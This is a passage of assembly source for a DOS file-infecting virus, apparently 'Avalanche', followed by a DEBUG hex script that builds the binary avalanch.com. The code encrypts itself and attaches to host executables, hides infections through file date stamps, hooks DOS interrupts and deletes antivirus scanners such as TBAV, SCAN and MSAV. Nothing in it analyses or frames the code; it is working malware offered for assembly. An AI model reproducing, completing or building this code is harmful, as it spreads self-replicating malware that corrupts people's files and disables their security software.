jc exeinfende
mov [comflag],0 ; host is an exe file
mov ax,[si+ip_pos]
add ax,(offset vircode -100h)
mov word ptr [kenn1+1],ax ; set up new delta offset
call kodier ; encrypt virus and write it to host
mov [flag],1 ; infection successful
ENDIF
exeinfende: ret
infektexe endp
;---------------------------------------------------------------------------
; disable critical error handler to avoid write errors on write-protected
; disks
discrit proc near
call pushall
push cs
pop ds
mov ax,3524h ; get old INT 24h
int DOS_N ;
mov word ptr [crbreak],bx
mov word ptr [crbreak+2],es
mov ax,2524h ; set new handler
mov dx,offset cint
pushf
call cs:[OrgDos]
call popall
ret
discrit endp
;---------------------------------------------------------------------------
; enable critical error handler
encrit proc near
call pushall
mov dx,word ptr cs:[crbreak] ; restore old INT 24h
mov ax,word ptr [crbreak+2]
mov ds,ax
mov ax,2524h
int DOS_N
call popall
ret
encrit endp
;---------------------------------------------------------------------------
; INPUT DX:AX value to divide by 512
; OUTPUT AX value DIV 512
; BX value MOD 512
divide proc near
mov bx,ax
and bx,0000000111111111b ; filesize MOD 512
mov cx,9 ; 32 bit division
divide1: clc
shr dx,1
rcr ax,1
loop divide1
ret
divide endp
;*****************************************************************************
; encyrpt virus and stick it to the end of host *
;*****************************************************************************
kodier proc near
push cs
pop es
inc [generation] ; increase generation counter
cld
mov dx,offset (virende-start) ; virussize
mov si,offset start ; start of virus
mov ah,byte ptr [org_filelng_lo]
xor ah,0aah
mov byte ptr [entschl+3],ah ; decryptor value
kod0: mov ah,byte ptr [org_filelng_lo] ; key in in ah
xor ah,0aah
mov di,psp ; set pointer to unused psp
xor cx,cx ; reset byte counter
kod1: lodsb ; load a word
cmp si,offset vircode ; encyrpt it ?
jna ncode ; no, it's the virus decryptor
cmp si,offset vor_header ; do not encrypt the original header
ja ncode
xor al,ah ; encrypt word
ncode: stosb ; and write it to psp
inc cx
cmp cx,250 ; is buffer full ?
jna kod2 ; yes, then write it to disk
jmp short kodaus
kod2: cmp cx,dx ; are we ready ?
jne kod1 ; no, continue
kodaus: sub dx,cx
push dx ; write encrypted by to host
mov bx,[handle]
mov dx,psp ; ds:dx pointer to start of encry.buffer
mov ah,40h
pushf ; write cx bytes
call cs:[int21alt]
pop dx
jc kodrueck ; exit on error
or dx,dx
je kodrueck
jmp short kod0
dec [generation]
cmp [generation],32
jne kodrueck
absturz: jmp absturz
kodrueck: ret
kodier endp
;***************************************************************************
;*** check if file is infected ****
;*** INPUT : BX=Handle ****
;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied***
;***************************************************************************
pruefinf proc near
push bx
push ax
push cx
push dx
mov ax,5700h ; get time/date stamps
pushf
call cs:[int21alt]
mov cs:[d_datum],dx
mov cs:[d_zeit],cx
and dx,1111111000000000b ; mask out the month
mov cl,9 ; year to low byte
shr dx,cl
cmp dx,90 ; year <90 file id clean
jb nichtinf
stc ; set infection flag
pruefaus: pop dx
pop cx
pop ax
pop bx
ret
nichtinf: clc
jmp short pruefaus
pruefinf endp
;*************************************************************************
; retro function: delete scanners
;*************************************************************************
scanner db "F-PR",0
db "TBAV",0
db "SCAN",0
db "MSAV",0
db "CPAV",0
db "TBME",0
db "TBFI",0
db "TBSC",0
db "VIRS",0
db "TBDR",0
db 0
fuck_scanner PROC NEAR
IF RETRO
call pushall
push cs ; ES=CS
pop es
mov ax,cs:[nam_seg] ; get filename
mov ds,ax ; to DS:SI
mov si,cs:[nam_off]
fd_end: inc si
cmp byte ptr ds:[si],0 ; find last char
jne fd_end
fc2: dec si ; set pointer to filename
cmp byte ptr ds:[si-1],"\"
jne fc2
mov cx,4
mov di,offset scanner
call search ; search for scanner
jae fuckend
gotcha: mov dx,si
mov ah,41h ; delete scanner
pushf
call cs:[OrgDos]
fuckend: call popall
ENDIF
ret
fuck_scanner ENDP
;**************************************************************************
; compare a string with a list of strings
; INPUT: DS:SI string to find
; es:di list
; cx number of bytes to compare
; OUPUT: C=1 if string was found
; DX position of string
;**************************************************************************
search PROC NEAR
mov ax,cx ; store cx
xor dx,dx
cld
comp: mov cx,ax
push si ; store SI (pointer to reference)
repe cmpsb ; compare strings
pop si
jz treffer ; Z=1 -> string found
s_str: cmp byte ptr es:[di],0 ; find start of next string in list
je str_gef
inc di
jmp short s_str
str_gef: inc di
cmp byte ptr es:[di],0 ; end of list ?
je failed
inc dx
jmp short comp
treffer: stc
ret
failed: clc
ret
search ENDP
;---------------------------------------------------------------------------
pushall proc near
pop cs:[ret_off]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push cs:[ret_off]
ret
pushall endp
;----------------------------------------------------------------------------
popall proc near
pop cs:[ret_off]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push cs:[ret_off]
ret
popall endp
vor_header equ this byte
orig_exehead db 1ch dup (?) ; position of original exe header
virende equ this byte
code ends
end start
-----------------------------------
N avalanch.com
E 0100 66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00
E 0110 43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81
E 0120 EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72
E 0130 6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C
E 0140 20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E
E 0150 65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00
E 0160 FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00
E 0170 00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC
E 0180 0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9
E 0190 50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD
E 01A0 1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31
E 01B0 01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21
E 01C0 01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F
E 01D0 8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60
E 01E0 01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C
E 01F0 C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0
E 0200 8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E
E 0210 64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26
E 0220 04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01
E 0230 B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01
E 0240 58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7
E 0250 00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00
E 0260 00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89
E 0270 9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8
E 0280 C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8
E 0290 13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00
E 02A0 01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21
E 02B0 25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6
E 02C0 5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E
E 02D0 76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58
E 02E0 CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01
E 02F0 03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56
E 0300 57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8
E 0310 02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02
E 0320 FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F
E 0330 26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A
E 0340 59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89
E 0350 86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03
E 0360 8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA
E 0370 33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C
E 0380 0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E
E 0390 FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E
E 03A0 D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80
E 03B0 BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03
E 03C0 C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00
E 03D0 00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF
E 03E0 03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E
E 03F0 89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB
E 0400 E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0420 00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03
E 0430 CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03
E 0440 74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E
E 0450 FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26
E 0460 04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02
E 0470 EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00
E 0480 57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC
E 0490 3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05
E 04A0 04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26
E 04B0 8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26
E 04C0 81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8
E 04D0 E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C
E 04E0 FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE
E 04F0 19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00
E 0500 25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02
E 0510 0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB
E 0520 00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E
E 0530 05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A
E 0540 00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75
E 0550 18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4
E 0560 9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00
E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0580 00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB
E 0590 40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05
E 05A0 89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05
E 05B0 EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86
E 05C0 05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82
E 05D0 05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05
E 05E0 2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B
E 05F0 1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF
E 0600 1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05
E 0610 83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33
E 0620 D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05
E 0630 89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C
E 0640 2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00
E 0650 72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72
E 0660 20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16
E 0670 01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5
E 0680 00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00
E 0690 72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA
E 06A0 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8
E 06B0 00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF
E 06C0 36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05
E 06D0 8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05
E 06E0 8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C
E 06F0 2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA
E 0700 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98
E 0710 00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05
E 0720 03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F
E 0730 9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05
E 0740 8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00
E 0750 A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9
E 0760 7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E
E 0770 6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF
E 0780 1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77
E 0790 02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0
E 07A0 E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B
E 07B0 1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E
E 07C0 09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04
E 07D0 00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E
E 07E0 89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E
E 07F0 52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00
E 0800 2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01
E 0810 43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8
E 0820 40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B
E 0830 D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05
E 0840 8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02
E 0850 02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4
E 0860 3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3
E 0870 A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02
E 0880 EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A
E 0890 75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8
E 08A0 64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00
E 08B0 E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF
E 08C0 2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57
E 08D0 8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04
E 08E0 01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E
E 08F0 1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C
E 0900 2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C
E 0910 FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00
E 0920 42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04
E 0930 72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04
E 0940 72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72
E 0950 30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00
E 0960 A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10
E 0970 A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04
E 0980 01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C
E 0990 18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01
E 09A0 A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16
E 09B0 A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B
E 09C0 44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1
E 09D0 04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14
E 09E0 B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3
E 09F0 64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02
E 0A00 0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA
E 0A10 00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9
E 0A20 1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42
E 0A30 33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14
E 0A40 05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8
E 0A50 6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03
E 0A60 04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01
E 0A70 C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24
E 0A80 25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00
E 0A90 F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA
E 0AA0 02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01
E 0AB0 8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13
E 0AC0 01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA
E 0AD0 00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04
E 0AE0 BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2
E 0AF0 74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB
E 0B00 FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E
E 0B10 89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3
E 0B20 EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46
E 0B30 2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53
E 0B40 41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46
E 0B50 49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52
E 0B60 00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36
E 0B70 11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9
E 0B80 04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E
E 0B90 FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56
E 0BA0 F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26
E 0BB0 80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21
E 0BC0 04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04
E 0BD0 C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D
E 0BE0 2E FF 36 21 04 C3
R CX
0AE6
W
Q